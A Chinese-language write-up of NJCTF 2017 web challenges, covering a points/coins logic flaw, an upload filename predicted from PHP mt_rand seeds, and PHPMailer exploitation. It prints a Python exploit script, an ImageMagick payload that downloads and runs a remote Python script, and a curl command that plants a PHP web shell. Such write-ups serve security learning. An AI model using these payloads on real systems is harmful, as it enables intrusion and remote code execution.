NJCTF-2017-web-writeup[通俗易懂]

记录一下这次比赛web一些有意思的题

Be Logical(450)

http://218.2.197.235:23739/

注册账号密码进去后发现大概是一个，积分可以转换为金币，然后再历史纪录里面又可以将金币转换为积分。
第一个感觉肯定这个是逻辑漏洞，感觉积分和金币之间转换的时候，可以利用多线程来跑一下。

在积分转换为金币的页面得知Sign.php，后面猜解文件泄漏为.Sign.php.swp，vim -r xx.swp就可以恢复代码。这个签名验证的代码是将\(_POST的转换后，再加一个`\)code进行md5，所以想尝试把这个$code`跑出来，跑了几个小时，6位以下的小写+数字跑完发现还没激活成功教程出来…

仔细理一下逻辑，发现其实应该不需要跑$code，因为后面有页面会把加密的sgin显示出来，所以完全可以先这样得到sgin然后去做其他的事情。所以尝试了一下多线程。

利用的代码

import requests import threading import re cookie = { 'PHPSESSID':'g3s0ngjo918f1ejm9tpqan63v2' } s = requests.session() data = { "comment":"1", "money":"500a" } def g(): #while 1: global data,cookie mydata = data.copy() mydata['point'] = '500a' mydata['mypoint'] = '0' mydata['mymoney'] = '0' print mydata r2 = s.post("http://218.2.197.235:23739/process.php",data=mydata,cookies=cookie) sign1 = r2.content.split('value="')[-1][:32] mydata['sign'] = sign1 r3 = s.post("http://218.2.197.235:23739/action.php",data=mydata,cookies=cookie) print r3.content #------ def ree(): #while 1: global data,cookie idd = 0 r = s.get("http://218.2.197.235:23739/history.php",cookies=cookie) m = re.search('<tr><td>(.*?)</td>',r.content) if m is not None: idd = m.group(1) data['id'] = idd data['username'] = "nihao" data['points'] = '500a' url = "http://218.2.197.235:23739/refundprocess.php?comment=%s&id=%s&username=%s&points=%s&money=%s" % (data['comment'],data['id'],data['username'],data['points'],data['money']) r = s.get(url,cookies=cookie) sign = r.content.split('value="')[-1][:32] if 'modified' in sign: print 'error',idd return 0 data['sign'] = sign r1 = s.post("http://218.2.197.235:23739/refund.php",data=data,cookies=cookie) if 'Success' in r1.content: print 'success',idd else: print r1.content g() ree() # re(2467) # list = [] # for i in range(5): # t = threading.Thread(target=r) # t.setDaemon(True) # t.start() # list.append(t) # for i in range(10): # t = threading.Thread(target=ree) # t.setDaemon(True) # t.start() # list.append(t) # for i in list: # i.join()

跑了挺久感觉也不是很对，转换的时候应该是加了与数据库里面的数据进行判断，所以感觉缺少一个竞争条件。
尝试修改了money等一些参数都为500a的时候发现还是能转，发现应该是对数字做了转化，然后尝试500.0等也不行，最后测试500e1的时候发现钱加到了5000.后面看源码是只是进行一些判断,并没有做什么处理,所以进入数据库能够使用e达到获取更多的积分.

if (floatval(floor($_POST['point'])) !== floatval($_POST['point'])) {
  die("the point must be an INTEGER!");
}

购买服务后，发现是图片上传的地方，可以进行图片转化，im的命令执行漏洞

poc.png

push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 '|wget xxx/down/tmp.py -P /tmp/ | python /tmp/tmp.py'
pop graphic-context

getshell后find一下没发现flag，看进程的时候发现还有人用了ew工具…看一下arp缓存得到172.17.0.19，访问时候一个邮箱系统，这个前面zctf也出了这个，PHPMailer的漏洞

curl -sq 'http://172.17.0.19' -d 'subject=<?php system($_GET[1]);?>&email=a( -X/var/www/html/uploads/lemon1.php -OQueueDirectory=/tmp )@qq.com&message=aaa&submit=Send email'

Geuess(250)

发现是一个包含，可以读取到源码

<?php function random_str($length = "32") { $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ''; for ($i = 1; $i <= $length; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } return $str; } session_start(); $reg = '/gif|jpg|jpeg|png/'; if (isset($_POST['submit'])) { $seed = rand(0, 999999999); mt_srand($seed); $ss = mt_rand(); $hash = md5(session_id() . $ss); setcookie('SESSI0N', $hash, time() + 3600); .... if ($check1) { $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name']; if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) }

如果sessionid是没有的话，那么session_id()就是空字符串，这样的话，hash就是$ss的md5值，也就是纯数字，放cmd5解密就可以得到明文，也就是随机数，mt_rand生成的随机数是可以激活成功教程得到种子，所以可以再通过种子预测到后面的random_str的值，从而得到上传的文件名.

预测种子的工具:
http://files.cnblogs.com/files/iamstudy/php_mt_seed-3.2.tar.gz

exp:

<?php
mt_srand(369252519);
echo mt_rand()."\n\r";
function random_str($length = "32") {
  $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
    "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
    "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
    "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
    "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
  $str = '';

  for ($i = 1; $i <= $length; ++$i) {
    $ch = mt_rand(0, count($set) - 1);
    $str .= $set[$ch];
  }

  return $str;
}

echo random_str()."\n\r";

这里要注意的是，因为在random_str之前还有一个mt_rand();，所以exp里面要写上一个,不然会预测出错.当时就是坑在这个地方.

后面一个就是zip包含jpg，getshell.

最后还有一个be admin的题目,是cbc模式的安全问题，oracle padding和字节反转，经过md5 padding后，这个最近ctf出现过很多次。(*_*)，这个得再另起一篇文章来学习。